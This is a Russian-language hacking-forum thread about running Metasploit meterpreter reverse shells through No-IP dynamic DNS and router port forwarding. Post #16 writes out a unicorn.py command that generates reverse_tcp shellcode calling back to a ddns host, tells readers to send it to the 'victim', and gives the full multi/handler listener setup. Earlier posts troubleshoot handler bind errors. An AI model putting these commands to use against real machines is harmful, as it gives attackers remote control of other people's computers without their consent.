ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 24.11.2016, 16:37
kot-gor
Новичок
Регистрация: 07.09.2016
Сообщений: 0
С нами: 5095710

Репутация: 0
По умолчанию

Спасибо, очень подробный мануал.
 
Ответить с цитированием

  #12  
Старый 08.12.2016, 18:51
kot-gor
Новичок
Регистрация: 07.09.2016
Сообщений: 0
С нами: 5095710

Репутация: 0
По умолчанию

Цитата:

pazle сказал(а):

Пробую эксплойт с такими настройками (предварительно порт на машине открыл):

Код:


Код:
set> IP address for the payload listener (LHOST):80.200.150.250
set:payloads> Port to connect back on [443]:443[*] All good! The directories were created.
Затем пробую установить сессию и вылезает ошибка:
[-] Handler failed to bind to 80.200.150.250:443:-  -
[-] Handler failed to bind to 0.0.0.0:443:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:443).
msf exploit(handler) >
Попробуйте добавить строчку следующего содержания
set ReverseListenerBinAddress (локальный ip)
 
Ответить с цитированием

  #13  
Старый 08.12.2016, 21:48
DmityiD
Новичок
Регистрация: 05.12.2016
Сообщений: 0
С нами: 4966691

Репутация: 0
По умолчанию

Я использую ddclient, работает за nat и не только с no-ip. Гибкий в настройках. Если кому необходимо выложу конфигурации.
 
Ответить с цитированием

  #14  
Старый 08.01.2017, 02:40
kot-gor
Новичок
Регистрация: 07.09.2016
Сообщений: 0
С нами: 5095710

Репутация: 0
По умолчанию

Цитата:

for(i=0;i<225;i++); сказал(а):

после установки программы я указал все дынные, оно работает!!Скажите после перезагрузки компа заново нужно будет вводить логин и пароль через консоль???
[doublepost=1483822492,1483822335][/doublepost]

после установки программы я указал все дынные, оно работает!!Скажите после перезагрузки компа заново нужно будет вводить логин и пароль через консоль??? и как пробросить роутер Zyxel Keenetic Lite III можно инструкцию???
Если не добавили сервис в автозагрузку то да.
 
Ответить с цитированием

  #15  
Старый 09.02.2017, 21:58
Pushkinmazila
Новичок
Регистрация: 06.02.2017
Сообщений: 0
С нами: 4875852

Репутация: 0
По умолчанию

Цитата:

~~DarkNode~~ сказал(а):

Хотел дополнить ,что если через No-IP юзаем метасплоит , то стоит заметить что в метасплоите в качестве LHOST нужно указывать dnsимя выданое нам сервисом(hostname) и параметром
REVERSELISTENERBINDADDRESS указывать свой локальный IP

А вот тут вот по подробнее плиз

Для создания полезной нагрузки я юзаю это https://codeby.net/threads/bystryj-sposob-poluchit-meterpreter.58440/
 
Ответить с цитированием

  #16  
Старый 10.02.2017, 11:29
Merkif
Новичок
Регистрация: 18.01.2017
Сообщений: 0
С нами: 4903413

Репутация: 0
По умолчанию

Здравствуйте.
при вводе команд выдает ошибки
error runing command: Rex:: Timeouterror Operation timed out. С чем это может быть связано?
Особенно когда делаю скрины или же пытаюсь что либо загрузить.
[doublepost=1486710208,1486708753][/doublepost]и Сессия долго открывается минут 10-15
[doublepost=1486710879][/doublepost]пользуюсь no ip
[doublepost=1486711593][/doublepost]

Цитата:

Pushkinmazila сказал(а):

А вот тут вот по подробнее плиз

Для создания полезной нагрузки я юзаю это https://codeby.net/threads/bystryj-sposob-poluchit-meterpreter.58440/
Для получения шелкода

Код:


Код:
python unicorn.py windows/meterpreter/reverse_tcp test.ddns.net 443
Шелкод бросаем "жертве"
и от руки в Метасплоите пишем.

Код:


Код:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST test.ddns.net
set LPORT 443
set REVERSELISTENERBINDADDRESS 192.168.88.5
exploit -j
[doublepost=1486711749][/doublepost]Ну и порт на роутере перебросить на локальный адрес.
 
Ответить с цитированием

  #17  
Старый 25.06.2017, 00:23
kot-gor
Новичок
Регистрация: 07.09.2016
Сообщений: 0
С нами: 5095710

Репутация: 0
По умолчанию

Цитата:

jaguar сказал(а):

No-IP
и файл попадает в автозагрузку?

как он попадет если вы не внесли его, чудес не бывает..)
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.